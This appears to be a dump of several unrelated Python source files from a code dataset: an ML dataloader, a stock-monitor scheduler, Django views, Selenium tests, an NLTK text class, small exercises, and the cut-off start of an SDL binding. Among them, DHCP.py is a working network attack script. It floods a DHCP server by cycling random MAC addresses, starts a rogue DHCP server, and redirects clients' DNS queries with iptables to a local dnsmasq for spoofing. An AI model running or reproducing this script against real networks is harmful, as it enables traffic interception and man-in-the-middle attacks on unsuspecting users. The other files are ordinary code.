self.X.append(arr[\"input\"])\n self.y.append(arr[\"label\"])\n if len(self.y[-1]) > max_horizon:\n max_horizon = len(self.y[-1])\n longest_index = len(self.y) - 1\n self.locations.append(arr[\"initial_location\"])\n self.file_name.append(os.path.join(path, f))\n stat_arr = list()\n stat_arr.append(arr[\"reward\"])\n self.min_reward = min(self.min_reward, arr[\"reward\"])\n avg_optimal_reward += arr[\"reward\"]\n stat_arr.append(arr[\"turns\"])\n stat_arr.append(arr[\"muds\"])\n stat_arr.append(arr[\"goals\"])\n stat_arr.append(arr[\"bombs\"])\n stat_arr.append(arr[\"reachable\"])\n stat_arr.append(arr[\"num_optimal_paths\"])\n self.stats.append(stat_arr)\n\n assert len(self.X)==len(self.stats), \"Data loading error.\"\n self.ordering = np.arange(len(self.X))\n self.iteration = 1\n self.b = b\n self.a = a\n self.max_iters = max_iters\n #define teaching difficulty parameters.\n if difficulty == \"uniform\":\n self.difficulty = self.uniform_difficulty\n elif difficulty == \"curr\":\n self.difficulty = self.teacher_difficulty\n self.difficulty_array = self.compute_difficulty()\n\n\n def __len__(self):\n return len(self.ordering)\n\n\n def dimension(self):\n return self.X[0].shape[2]\n\n\n def curriculum_order(self, learner_diff):\n objective = np.array([])\n for i in range(len(self.X)):\n objective = np.append(objective, self.difficulty_array[i] - learner_diff(torch.Tensor(self.X[i]).permute(2, 0, 1), torch.LongTensor(self.locations[i]), torch.LongTensor(self.y[i])))\n self.ordering = np.argsort(objective)\n self.ordering = self.ordering[:self.randomized_curriculum()]\n self.ordering = np.random.permutation(self.ordering)\n self.iteration += 1\n return\n\n\n def compute_difficulty(self):\n diff_array = np.array([])\n for i in range(len(self.X)):\n diff_array = np.append(diff_array, self.difficulty(i))\n if not np.all(diff_array == 1.): diff_array = (diff_array - np.min(diff_array)) / (np.max(diff_array) - np.min(diff_array))\n return np.log(diff_array + 1e-3)\n\n\n def uniform_difficulty(self, index):\n return 1.\n\n\n def teacher_difficulty(self, index):\n #goals * num_optimal_paths / reward\n return self.stats[index][3] * self.stats[index][6] / (self.stats[index][0] - self.min_reward + 1)\n\n\n def randomized_curriculum(self, pacing_fn=\"linear\"):\n if pacing_fn == \"linear\":\n limit = self.linear_pacing()\n return int(limit)\n\n\n def linear_pacing(self):\n if self.a == 0:\n return self.b*len(self.X)\n\n return self.b*len(self.X) + min((self.iteration/(self.a*self.max_iters)), 1) * (1-self.b) * len(self.X)\n\n\n def __getitem__(self, i):\n return torch.Tensor(self.X[self.ordering[i]]).permute(2, 0, 1), torch.LongTensor(self.y[self.ordering[i]]), torch.LongTensor(self.locations[self.ordering[i]]), self.file_name[self.ordering[i]]\n\n\ndef pad_label_collate(batch):\n (input, labels, locations, file_names) = zip(*batch)\n padded_labels = pad_sequence(labels, batch_first=True, padding_value=-1)\n\n return torch.stack(input), padded_labels, torch.stack(locations), list(file_names)\n","sub_path":"code_shortestpath/dataloader.py","file_name":"dataloader.py","file_ext":"py","file_size_in_byte":4031,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"94"} +{"seq_id":"334894640","text":"#!/usr/bin/env python\n# -*- coding: utf-8 -*-\n\n\"\"\"\nAuthor: Aaron-Yang [code@jieyu.ai]\nContributors: \n\n\"\"\"\nimport datetime\nimport json\nimport logging\nimport re\n\nimport cfg4py\nfrom apscheduler.job import Job\nfrom apscheduler.schedulers.asyncio import AsyncIOScheduler\nfrom omicron.core.triggers import TradeTimeIntervalTrigger, FrameTrigger\nfrom omicron.core.types import FrameType\nfrom omicron.dal import cache\nfrom pyemit import emit\n\nfrom alpha.core.enums import Events\nfrom alpha.plots import create_plot\n\nlogger = logging.getLogger(__name__)\n\ncfg = cfg4py.get_instance()\n\n\nclass MonitorManager:\n \"\"\"\n 对证券市场而言,一般监控只应该发生在交易时间,本Monitor通过设定interval类别的trigger,\n 每个交易自动重安排各项任务来实现此一目的。\n\n 一个进程仅有一个monitor;monitor在执行监控时,将根据需要创建plot对象来完成状态评估。\n \"\"\"\n monitor_key = \"monitors\"\n\n def __init__(self):\n self.watch_list = {}\n self.sched = None\n\n def init(self, scheduler=None):\n self.sched = scheduler or AsyncIOScheduler(timezone=cfg.tz)\n self.sched.add_job(self.resume_monitors, 'date', misfire_grace_time=30)\n trigger = FrameTrigger(FrameType.DAY, jitter=f\"-6h\")\n self.sched.add_job(self.self_test, trigger)\n if not self.sched.running:\n self.sched.start()\n\n async def self_test(self):\n await emit.emit(Events.self_test)\n\n def _add_watch(self, plot, job_name: str, job_info: dict):\n \"\"\"\n\n Args:\n plot: instance of baseplot\n job_info: contains plot(the name), trigger(dict), title_keys, executor,\n params which is needed by executor\n\n Returns:\n\n \"\"\"\n trigger = job_info.get('trigger')\n trigger_name = trigger.get(\"name\")\n if trigger_name == \"interval\":\n interval = trigger.get('interval')\n unit = trigger.get('unit')\n _trigger = TradeTimeIntervalTrigger(f\"{interval}{unit}\")\n elif trigger_name == 'frame':\n frame_type = trigger.get(\"frame_type\")\n jitter = trigger.get(\"jitter\")\n jitter_unit = trigger.get(\"jitter_unit\")\n _trigger = FrameTrigger(frame_type, f\"{jitter}{jitter_unit}\")\n else:\n raise ValueError(f\"trigger type {trigger} not supported\")\n\n executor = getattr(plot, job_info.get(\"executor\"))\n self.sched.add_job(executor, trigger=_trigger, name=job_name,\n kwargs=job_info.get(\"executor_params\"),\n misfire_grace_time=10)\n\n def find_job(self, plot, code, flag, frame_type: FrameType, *args):\n for job in self.sched.get_jobs():\n items = job.name.split(\":\")\n try:\n items.index(plot)\n items.index(code)\n items.index(flag)\n items.index(frame_type.value)\n for arg in args:\n items.index(arg)\n\n return job\n\n except ValueError:\n continue\n\n def reschedule_job(self, start_time: datetime.datetime, job: Job):\n \"\"\"\n I don't know why, but it doesn't work if call job's reschedule with different\n start_date. So I have to re-create the job\n Args:\n start_time:\n job_id:\n\n Returns:\n\n \"\"\"\n job_info = self.watch_list.get(job.name)\n plot_name = job_info.get(\"plot\")\n plot = create_plot(plot_name)\n\n self.sched.remove_job(job.id)\n self.sched.add_job(self._add_watch, 'date', next_run_time=start_time,\n args=(plot, job.name, job_info),\n misfire_grace_time=30)\n\n def make_job_name(self, hash_keys, plot, trigger, **kwargs):\n data = kwargs.copy()\n data.update({\n \"plot\": plot,\n \"trigger\": trigger\n })\n\n keys = []\n for key in hash_keys:\n keys.append(str(data.get(key)))\n\n return \":\".join(keys)\n\n async def add_monitor(self, plot_name: str, **kwargs):\n \"\"\"\n Args:\n plot_name: the name of plot\n kwargs: required by plot\n\n Returns:\n \"\"\"\n plot = create_plot(plot_name)\n title_keys, job_info = plot.parse_monitor_settings(**kwargs)\n\n job_name = self.make_job_name(title_keys, plot_name, **kwargs)\n\n # remove old ones first\n for job in self.sched.get_jobs():\n if job.name == job_name:\n self.sched.remove_job(job.id)\n await cache.sys.hdel(self.monitor_key, job_name)\n del self.watch_list[job.name]\n\n self.watch_list[job_name] = job_info\n self._add_watch(plot, job_name, job_info)\n await cache.sys.hset(self.monitor_key, job_name, json.dumps(job_info))\n\n async def add_batch(self, plot_name: str, codes: str, **kwargs):\n \"\"\"\n todo: 报告错误的参数,比如股票代码。\n todo: 回显已加的监控,含已存在的。\n Args:\n plot_name:\n trigger:\n **kwargs:\n\n Returns:\n\n \"\"\"\n params = kwargs\n result = []\n for code in codes.split(\",\"):\n result.append(await self.add_monitor(plot_name, code, **params))\n\n async def resume_monitors(self):\n \"\"\"\n resume monitors from database, in case of the process is restarted\n Returns:\n\n \"\"\"\n logger.info(\"(re)loading monitor...\")\n\n jobs = await cache.sys.hgetall(self.monitor_key)\n for job_name, job_info in jobs.items():\n job_info = json.loads(job_info.encode('utf-8'))\n plot_name = job_info.get(\"plot\")\n plot = create_plot(plot_name)\n self._add_watch(plot, job_name, job_info)\n self.watch_list[job_name] = job_info\n logger.info(\"done with %s monitor loaded\", len(self.watch_list))\n\n return self.watch_list\n\n async def remove(self, job_name: str = None, plot: str = None, code: str = None,\n frame_type: str = None,\n flag: str = None,\n remove_all=False):\n removed = []\n if remove_all:\n self.sched.remove_all_jobs()\n await cache.sys.delete(self.monitor_key)\n removed = self.watch_list.keys()\n self.watch_list = {}\n return removed\n else:\n if job_name:\n for job in self.sched.get_jobs():\n if job.name == job_name:\n removed.append(await self._remove(job.id, job.name))\n return removed\n else:\n pattern = rf\"({plot})|({code})|({frame_type})|({flag})\"\n for job in self.sched.get_jobs():\n if re.search(pattern, job.name):\n removed.append(await self._remove(job.id, job.name))\n\n return removed\n\n async def _remove(self, job_id, job_name):\n self.sched.remove_job(job_id)\n await cache.sys.hdel(self.monitor_key, job_name)\n del self.watch_list[job_name]\n return job_name\n\n async def list_monitors(self, code: str = '', frame_type: str = '', plot: str = '',\n flag: str = ''):\n filters = filter(None, (code, frame_type, plot, flag))\n pattern = \"|\".join(f\"({key})\" for key in filters)\n\n results = []\n for job_name in self.watch_list.keys():\n if re.search(pattern, job_name):\n job_info = self.watch_list[job_name]\n plot = job_info.get(\"plot\")\n trigger = job_info.get(\"trigger\")\n params = job_info.get(\"executor_params\")\n\n results.append([job_name, plot, params, trigger])\n\n return results\n\n def parse_trigger(self, trigger: str):\n if trigger.startswith('interval'):\n matched = re.match(r\"interval:(\\d+)([hmsd])\", trigger)\n if matched:\n interval, unit = matched.groups()\n return \"interval\", interval, unit, None\n else:\n logger.warning(\"malformed triggers: %s\", trigger)\n return None\n elif trigger.startswith('frame'):\n matched = re.match(r\"frame:(\\d+)([mdw]):?(.*)\", trigger)\n if matched:\n interval, unit, jitter = matched.groups()\n return \"frame\", interval, unit, jitter\n else:\n logger.warning(\"malformed triggers: %s\", trigger)\n return None\n\n def translate_trigger(self, trigger: dict):\n \"\"\"\n 将trigger转换成适于人阅读的格式\n Args:\n trigger: 包含name, interval, frame_type, unit, jitter, jitter_unit键\n\n Returns:\n\n \"\"\"\n name = trigger.get(\"name\")\n interval = trigger.get(\"interval\")\n unit = trigger.get(\"unit\")\n frame_type = trigger.get(\"frame_type\")\n jitter = trigger.get(\"jitter\")\n jitter_unit = trigger.get(\"jitter_unit\")\n\n _time_unit_map = {\n \"m\": \"分钟\",\n \"h\": \"小时\",\n \"d\": \"天\",\n \"s\": \"秒\",\n \"w\": \"周\"\n }\n\n if name == 'interval':\n _translated = f\"每{interval}{_time_unit_map[unit]}运行一次\"\n return _translated\n\n if frame_type == '30m':\n _translated = \"每30分钟运行一次\"\n elif frame_type == '60m':\n _translated = \"每60分钟运行一次\"\n elif frame_type == \"120m\":\n _translated = \"每120分钟运行一次\"\n elif frame_type == \"1d\":\n _translated = \"每交易日运行一次\"\n elif frame_type == \"1w\":\n _translated = \"每周交易结束时运行一次\"\n elif frame_type == \"1M\":\n _translated = \"每月交易结束时运行一次\"\n else:\n raise ValueError(f\"frame_type {frame_type} is not supported\")\n\n if jitter is not None:\n if jitter < 0:\n _translated = f\"{_translated}/每次提前{abs(jitter)}\" \\\n f\"{_time_unit_map[jitter_unit]}\"\n elif jitter > 0:\n _translated = f\"{_translated}/每次推迟{jitter}\" \\\n f\"{_time_unit_map[jitter_unit]}\"\n\n return _translated\n","sub_path":"alpha/core/monitors/manager.py","file_name":"manager.py","file_ext":"py","file_size_in_byte":10455,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"94"} +{"seq_id":"140602054","text":"import os\nimport argparse\nimport subprocess\nfrom scapy.all import RandMAC\n\nrun = subprocess.check_output('whoami')\nuser = run.decode(\"UTF-8\")\nif user.split(\"\\n\",2)[0] != \"root\":\n\tprint('This script must be executed as root.')\n\texit;\n\nparser = argparse.ArgumentParser()\nparser.add_argument(\"-i\", \"--interface\", type=str, help=\"Set interface for the attack\")\nparser.add_argument(\"-m\", \"--mask\", type=int, help=\"Set network mask (30,24,16,8,4)\", action='store')\nparser.add_argument(\"-r\", \"--rogue\", help=\"Start a rogue DHCP Server\", action='store_true')\nparser.add_argument(\"-d\", \"--dnsspoof\", help=\"Prepares dnsmasq for DNS Spoofing\", action='store_true')\nparser.add_argument(\"-c\", \"--clean\", help=\"Removes config from previous uses\", action='store_true')\nargs = parser.parse_args()\n\ninter = str(args.interface)\nif args.mask is not None:\n\tmask = args.mask\n\tbits = 32 - mask\n\trolls = pow(2,bits)\nrogue = args.rogue\ndns = args.dnsspoof\nclean = args.clean\n\ndef starvation(inter, rolls):\n\tfor i in range(1, rolls):\n\t\tkill = \"kill -9 $(pidof dhclient \" + inter + \")\"\n\t\tos.system(kill)\n\t\tmac = str(RandMAC())\n\t\tchmac = \"ip l s dev \" + inter + \" addr \" + mac\n\t\tos.system(chmac)\n\t\tdhcp = \"dhclient \" + inter\n\t\tos.system(dhcp)\n\ndef dhcp_rogue(inter):\n\traw = subprocess.check_output('cat /etc/*-release | grep ID | cut -d \"=\" -f 2', shell=True)\n\tdistro = raw.decode(\"UTF-8\")\n\tos.system('ip a a 172.16.0.10/24 dev ' + inter)\n\tos.system('ip r a default via 172.16.0.1')\n\tif distro.split(\"\\n\",2)[0] == \"arch\" or distro.split(\"\\n\",2)[0] == \"manjaro\":\n\t\tout = subprocess.check_output('pacman -Q dhcp | cut -d \" \" -f 1', shell=True)\n\t\tpkg = out.decode(\"UTF-8\")\n\t\tif pkg.split(\"\\n\",2)[0] == \"dhcp\":\n\t\t\tos.system('cp -f fake-dhcp.conf /etc/dhcpd.conf')\n\t\t\tos.system('cp -f /usr/lib/systemd/system/dhcpd4.service /etc/systemd/system/dhcpd4@.service')\n\t\t\tos.system('systemctl start dhcpd4')\n\t\telse:\n\t\t\tos.system('pacman -S dhcp --noconfirm')\n\t\t\tos.system('cp -f fake-dhcp.conf /etc/dhcpd.conf')\n\t\t\tos.system('cp -f /usr/lib/systemd/system/dhcpd4.service /etc/systemd/system/dhcpd4@.service')\n\t\t\tos.system('systemctl start dhcpd4')\n\telif distro.split(\"\\n\",2)[0] == \"debian\" or distro.split(\"\\n\",2)[0] == \"ubuntu\" or distro.split(\"\\n\",2)[0] == \"kali\":\n\t\tout = subprocess.check_output('apt list --installed | grep isc-dhcp-server | cut -d \"/\" -f 1', shell=True)\n\t\tpkg = out.decode(\"UTF-8\")\n\t\tif pkg.split(\"\\n\",2)[0] == \"isc-dhcp-server\":\n\t\t\tos.system('cp -f fake-dhcp.conf /etc/dhcp/dhcpd.conf')\n\t\t\tos.system('mv /etc/default/isc-dhcp-server /etc/default/isc-dhcp-server.old')\n\t\t\tos.system('cp rogue /etc/default/isc-dhcp-server')\n\t\t\tos.system('systemctl start isc-dhcp-server')\n\t\telse:\n\t\t\tos.system('apt -y install isc-dhcp-server')\n\t\t\tos.system('cp -f fake-dhcp.conf /etc/dhcp/dhcpd.conf')\n\t\t\tos.system('echo INTERFACESv4=\"' + inter + '\" > /etc/default/isc-dhcp-server')\n\t\t\tos.system('systemctl start isc-dhcp-server')\n\telif distro.split(\"\\n\",2)[0] == \"fedora\" or distro.split(\"\\n\",2)[0] == \"rhel\" or distro.split(\"\\n\",2)[0] == \"centos\":\n\t\tos.system('dnf list dhcp')\n\n\t\tif pkg.split(\"\\n\",2)[0] == \"isc-dhcp-server\":\n\t\t\tos.system('cp -f fake-dhcp.conf /etc/dhcp/dhcpd.conf')\n\t\t\tos.system('systemctl start dhcpd')\n\t\telse:\n\t\t\tos.system('dnf -y install dhcp')\n\t\t\tos.system('cp -f fake-dhcp.conf /etc/dhcp/dhcpd.conf')\n\t\t\tos.system('systemctl start dhcpd')\n\n\tos.system('iptables -t nat -A POSTROUTING -s 172.16.0.0/24 -j MASQUERADE')\n\tos.system('echo 1 > /proc/sys/net/ipv4/ip_forward')\n\ndef dns_spoof():\n\tos.system('iptables -t nat -A PREROUTING -p udp --dport 53 -s 172.16.0.0/24 -j DNAT --to-destination 127.0.0.1:53')\t\n\tos.system('cp /etc/dnsmasq.conf /etc/dnsmasq.conf.example')\n\tos.system('cp dnspoof.conf /etc/dnsmasq.conf')\n\tos.system('cp /etc/resolv.conf /etc/resolv.conf.original')\n\tos.system('cp resolv.conf /etc/resolv.conf')\n\tos.system('systemctl start dnsmasq')\n\ndef clean(inter):\n\traw = subprocess.check_output('cat /etc/*-release | grep ID | cut -d \"=\" -f 2', shell=True)\n\tdistro = raw.decode(\"UTF-8\")\n\tif distro.split(\"\\n\",2)[0] == \"arch\" or distro.split(\"\\n\",2)[0] == \"manjaro\":\n\t\tos.system('systemctl stop dhcpd4')\n\telif distro.split(\"\\n\",2)[0] == \"debian\" or distro.split(\"\\n\",2)[0] == \"ubuntu\" or distro.split(\"\\n\",2)[0] == \"kali\":\n\t\tos.system('systemctl stop isc-dhcp-server')\n\t\tos.system('cp /etc/default/isc-dhcp-server.old /etc/default/isc-dhcp-server')\n\telif distro.split(\"\\n\",2)[0] == \"fedora\" or distro.split(\"\\n\",2)[0] == \"rhel\" or distro.split(\"\\n\",2)[0] == \"centos\":\n\t\tos.system('systemctl stop dhcpd')\n\tos.system('iptables -t nat -D POSTROUTING -s 172.16.0.0/24 -j MASQUERADE')\n\tos.system('echo 0 > /proc/sys/net/ipv4/ip_forward')\n\tos.system('ip a a 172.16.0.1 dev ' + inter)\n\tos.system('iptables -t nat -A PREROUTING -p udp --dport 53 -s 172.16.0.0/24 -j DNAT --to-destination 172.16.0.1:53')\n\tos.system('systemctl stop dnsmasq')\n\tos.system('cp /etc/dnsmasq.conf.example /etc/dnsmasq.conf')\n\tos.system('cp /etc/resolv.conf.original /etc/resolv.conf')\n\nif args.mask is not None and args.interface is not None:\n\tstarvation(inter, rolls)\n\nif rogue == True:\n\tdhcp_rogue(inter)\n\nif dns == True:\n\tdns_spoof()\n\nif clean == True and inter is not None:\n\tclean(inter)\n\n","sub_path":"DHCP.py","file_name":"DHCP.py","file_ext":"py","file_size_in_byte":5166,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"91"} +{"seq_id":"650856245","text":"# -*- coding: utf-8 -*-\nfrom django.contrib.auth.decorators import login_required\nfrom django.shortcuts import render, redirect, get_object_or_404\n\nfrom apps.scontent.forms import *\n\n\n@login_required\ndef content_create(request):\n if request.method == 'POST':\n form = ContentCreateForm(request.POST, request.FILES)\n if form.is_valid():\n new_content = form.save(commit=False)\n new_content.user = request.user\n new_content.save()\n return redirect(new_content.get_absolute_url())\n else:\n form = ContentCreateForm()\n return render(request, 'scontent/create.html', {'form': form})\n\n\ndef content_detail(request, id, slug):\n content_detail = get_object_or_404(Content, id=id, slug=slug)\n return render(request,\n \"scontent/detail.html\",\n {'content_detail': content_detail}\n )\n","sub_path":"apps/scontent/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":898,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"91"} +{"seq_id":"172997702","text":"#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\nimport time\nfrom .context import homie, mqtt_settings # noqa: F401\n\n\n# states allowed for this device\nSTATES = \"A,B,C,D,E\"\n\n\nclass MyState(homie.device.StateDevice):\n def set_state(self, state):\n print(\n f\"Received MQTT message to set the state to {state}. Must replace this method\"\n )\n super().set_state(state)\n\n\ndef test_state_device():\n state = MyState(\n name=\"Test State\", mqtt_settings=mqtt_settings, state_values=STATES\n )\n\n for _ in range(10):\n time.sleep(1)\n state.update_state(\"A\")\n time.sleep(1)\n state.update_state(\"B\")\n time.sleep(1)\n state.update_state(\"G\")\n","sub_path":"tests/test_state.py","file_name":"test_state.py","file_ext":"py","file_size_in_byte":713,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"91"} +{"seq_id":"31600455","text":"import time\n\nfrom .base import FunctionalTest\nfrom django.core.urlresolvers import reverse\nfrom django.core import mail\n\n\nclass AnonymousUserEventRequest(FunctionalTest):\n\n def test_anonymous_user_creates_event_request(self):\n # Anonymous user hears about group recreation app. She goes\n # to check out its homepage\n self.browser.get(self.server_url)\n\n # Anonymous user notices the page title and header mention recreation\n self.assertIn('Recreation Project', self.browser.title)\n banner_text = self.browser.find_element_by_id('id_home_banner').text\n self.assertIn('Recreation Project', banner_text)\n\n # Anonymous user is invited to request an event right away.\n organize_button = self.browser.find_element_by_id('id_home_organize_button')\n self.assertIn('Organize Group', organize_button.text)\n\n # Anonymous clicks button and is taken to a page to create events.\n organize_button.click()\n create_url = self.server_url + reverse('polls:create')\n self.assertEqual(self.browser.current_url, create_url)\n\n # Anonymous user sees activity request form asking for required fields\n # title, location, timehorizon, description, name, and email\n input_title = self.get_input(\n 'id_title')\n input_location_name = self.get_input(\n 'id_location_name')\n input_time_horizon = self.get_input(\n 'id_time_horizon')\n input_description = self.get_input(\n 'id_description')\n input_exposure = self.get_input(\n 'id_exposure_1')\n input_requester_name = self.get_input(\n 'id_requester_name')\n input_requester_email = self.get_input(\n 'id_requester_email')\n\n # Anonymous user cannot create request without required fields\n # title, location, timehorizon, description, name, and email\n # submit_button = self.browser.find_element_by_id('submit-id-submit')\n # submit_button.click()\n\n # Anonymous user completes request form by providing minimal fields\n # title, location, timehorizon, description, name, and email\n input_title.send_keys('Test Event Title')\n input_location_name.send_keys('My Favorite Spot')\n input_time_horizon.send_keys('0')\n input_description.send_keys('I just want to do hoodrat stuff with my friends')\n input_exposure.send_keys('Buy peacock feathers')\n input_requester_name.send_keys('Elliot Ikheloa')\n input_requester_email.send_keys('eikheloa@gmail.com')\n\n # Anonymous user hits enter, is taken to a new URL,\n # and now the page shows the event request with the provided details\n submit_button = self.browser.find_element_by_id('submit-id-submit')\n submit_button.click()\n\n new_request_url = self.browser.current_url\n self.assertRegex(new_request_url, self.server_url+'/polls/.+')\n title = self.browser.find_element_by_id('id_title')\n self.assertEqual('Test Event Title', title.text)\n requester = self.browser.find_element_by_id('id_requester')\n self.assertEqual('Suggested by Elliot Ikheloa', requester.text)\n \n # Anonymous user requesting event receives email with a link for sharing \n # and another email with an admin link for updating the page\n # Test with mail.outbox\n \n # Another anonymous user navigates to a page with public activity polls \n self.browser.get(self.server_url)\n find_button = self.browser.find_element_by_id('id_home_find_button')\n self.assertIn('Find Group', find_button.text)\n find_button.click()\n\n view_poll_list_url = self.browser.current_url\n self.assertRegex(view_poll_list_url, self.server_url+'/polls/list/')\n poll_list = self.browser.find_element_by_id('id_poll_list')\n polls = poll_list.find_elements_by_id('id_poll_item')\n self.assertIn('Test Event Title', [poll.find_element_by_id('id_poll_title').text for poll in polls])\n \n # Other anonymous user clicks activity poll to see details\n poll_list.find_element_by_tag_name('a').click()\n\n # Other anonymous user taken to detail page and sees event in poll title\n view_poll_url = self.browser.current_url\n self.assertRegex(view_poll_url, self.server_url+'/polls/.+')\n title = self.browser.find_element_by_id('id_title')\n self.assertEqual('Test Event Title', title.text)\n\n # def test_anonymous_invite_other_anonymous_users(self:):\n # Anonymous users can invite others to event requests and invitees\n # receive an email with a link to view the request page\n\n # def test_anonymous_update_event_request(self):\n # Anonymous user requesting event can update the page using emailed link\n # Anonymous user updating event receives email notifying them of update\n # pass\n\n # def test_another_anonymous_joins_event_request(self):\n # Other anonymous user sees option to submit name and email on the poll page\n input_prospect_name = self.get_input('id_name')\n input_prospect_email = self.get_input('id_email')\n\n # Other anonymous user submits name and email\n input_prospect_name.send_keys('Test A Prospect') \n input_prospect_email.send_keys('prospect@test.com')\n join_button = self.browser.find_element_by_id('submit-id-prospect_signup') \n join_button.click()\n\n # Anonymous users submitting their information is shown an updated page with their info\n view_poll_url = self.browser.current_url\n self.assertRegex(view_poll_url, self.server_url+'/polls/.+')\n prospects = self.browser.find_elements_by_id('id_prospect')\n self.assertIn('Test A Prospect', [prospect.text for prospect in prospects])\n\n # Anonymous users submitting their information receive an email confirmation\n # Anonymous user requesting event receives email update when other anonymous users respond\n # pass\n \n\n # def test_anonymous_comments_on_event_request(self):\n # Anonymous users can comment on the event page\n # pass\n\n # self.fail('Finish the test!')\n\n # test exposure on page with link and with key provided\n\n","sub_path":"functional_tests/test_anonymous_user_event_request.py","file_name":"test_anonymous_user_event_request.py","file_ext":"py","file_size_in_byte":6292,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"91"} +{"seq_id":"425852687","text":"\"\"\"\nThis module represents a individual Document.\n\"\"\"\nimport re\nfrom pathlib import Path\n\nimport nltk\n\nnltk.download(\"punkt\")\nnltk.download(\"stopwords\")\nnltk.data.path.append(str(Path(__file__).parent / \"nltk_data\"))\n\n\nclass Document:\n \"\"\"\n This class is for a Document which contains properties:\n name and document\n \"\"\"\n\n def __init__(self, name: str, document: str):\n self.document = document\n self.name = name\n self.sentences = nltk.sent_tokenize(self.document)\n self.no_punctuation = re.sub(r\"[^\\w\\s]\", \"\", self.document).lower()\n\n def get_sentences_with_word(self, word: str) -> list:\n \"\"\"\n returns a list of sentences containing\n a given word\n :param word: str\n :return: list of sentences\n \"\"\"\n\n sentences = filter(\n lambda sentence: re.sub(r\"[^\\w\\s]\", \"\", word)\n in self.strip_sentence(sentence).split(),\n self.sentences,\n )\n return sentences\n\n @staticmethod\n def strip_sentence(sentence: str) -> str:\n \"\"\"\n returns a sentence with punctuation\n removed\n :param sentence: str\n :return: stripped sentence as a str\n \"\"\"\n return re.sub(r\"[^\\w\\s]\", \"\", sentence).lower()\n\n def get_word_count(self) -> dict:\n \"\"\"\n returns a dictionary with counts for\n each word in document\n :return: dict\n \"\"\"\n exclude_words = self.get_exclude_words()\n word_count = {}\n for word in self.no_punctuation.lower().split():\n if word not in exclude_words:\n word_count[word] = word_count.get(word, 0) + 1\n return word_count\n\n @staticmethod\n def get_exclude_words() -> list:\n \"\"\"\n Retrieves stop words from NLTK corpus\n with additional words\n :return: List of excluded words\n \"\"\"\n exclude_words = nltk.corpus.stopwords.words(\"english\")\n exclude_words.extend([\"-\", \"\"])\n return exclude_words\n","sub_path":"app/document.py","file_name":"document.py","file_ext":"py","file_size_in_byte":2019,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"91"} +{"seq_id":"560389416","text":"from typing import Optional\n\n# Definition for a binary tree node.\nclass TreeNode:\n def __init__(self, val=0, left=None, right=None):\n self.val = val\n self.left = left\n self.right = right\n\n\nclass Solution:\n def isSameTree(self, p: Optional[TreeNode], q: Optional[TreeNode]) -> bool:\n def dfs(root1, root2):\n if not root1 and not root2:\n return True\n if root1 and root2:\n return (\n root1.val == root2.val\n and dfs(root1.left, root2.left)\n and dfs(root1.right, root2.right)\n )\n return False\n\n return dfs(p, q)\n\n\nif __name__ == \"__main__\":\n solution = Solution()\n p = TreeNode(1)\n p.left = TreeNode(2)\n p.right = TreeNode(3)\n q = TreeNode(1)\n q.left = TreeNode(2)\n q.right = TreeNode(3)\n print(solution.isSameTree(p, q))\n p = TreeNode(1)\n p.left = TreeNode(2)\n q = TreeNode(1)\n q.right = TreeNode(2)\n print(solution.isSameTree(p, q))\n p = TreeNode(1)\n p.left = TreeNode(3)\n p.right = TreeNode(2)\n q = TreeNode(1)\n q.left = TreeNode(2)\n q.right = TreeNode(3)\n print(solution.isSameTree(p, q))","sub_path":"tree/100SameTree.py","file_name":"100SameTree.py","file_ext":"py","file_size_in_byte":1223,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"91"} +{"seq_id":"423816783","text":"class cake():\n known_types= ['cake', 'muffin', 'meringue', 'biscuit', 'eclair', 'christmas', 'pretzel','other']\n bakery_offer=[]\n def __init__(self, name,kind,taste,addictions,filling,gluten_free):\n if(kind in self.known_types ):\n self.kind = kind\n else:\n self.kind='other'\n self.name=name\n self.taste=taste\n self.addictions=addictions\n self.filling=filling\n self.bakery_offer.append(self)\n self.__gluten_free=gluten_free\n\n\n def show_info(self):\n print(f\"{self.name.title()} -({self.kind}) {self.taste}, {self.filling}\")\n print(f\"Gluten free - {self.__gluten_free}\")\n if self.addictions:\n print(\"Addictions:\")\n for a in self.addictions:\n print(a)\n print(\"-\"*20)\n\n def set_filling(self,filling):\n self.filling=filling\n return self.filling\n\n def add_additives(self,additives):\n self.addictions+=additives\n return self.addictions\n\n\ncake01=cake(\"wafel kakaowy\",\"wafel\",\"kakao\",[\"czekolada\"],\"krem\",True)\ncake01.__gluten_free=False\ncake01.show_info()\nprint(dir(cake01))\ncake01._cake__gluten_free=False\ncake01.show_info()\n\n","sub_path":"Kurs Python/Sekcja6/s6pk4.py","file_name":"s6pk4.py","file_ext":"py","file_size_in_byte":1206,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"91"} +{"seq_id":"180700565","text":"import numpy as np\nimport cv2\nimport matplotlib.pyplot as plt\n# Example1: upload gray photo, input 'esc' to quite, input 's' to save\n# 0 -> cv2.IMREAD_GRAYSCALE ,以灰度模式读入图像,一定是二维\nimg = cv2.imread('/Users/huwang/Pictures/2.png', 0)\nprint(img)\ncv2.imshow('image', img)\nk = cv2.waitKey(0)\nprint(k)\nif k == 27:\n cv2.destroyAllWindows() # waite for ESC to quite\nelif k == ord('s'):\n cv2.imwrite('test.png', img) # waite for s to save\n cv2.destroyAllWindows()\n\n# Example2:\n\n# img = cv2.imread('/Users/huwang/Pictures/2.png', 0)\n# plt.imshow(img, cmap='gray', interpolation='bicubic') # interpolation photo effect\n# plt.xticks([])\n# plt.yticks([]) # to hide tick values on X and Y axis\n# plt.show()\n","sub_path":"OpenCv/opencv1_example.py","file_name":"opencv1_example.py","file_ext":"py","file_size_in_byte":731,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"91"} +{"seq_id":"90420434","text":"from ctypes import *\n\nSTRING = c_char_p\n_libraries = {}\n_libraries['libSDL2_ttf.so'] = CDLL('libSDL2_ttf.so')\nfrom libSDL2 import SDL_version\nfrom libSDL2 import SDL_RWops\nfrom libSDL2 import Uint16\nfrom libSDL2 import SDL_Surface\nfrom 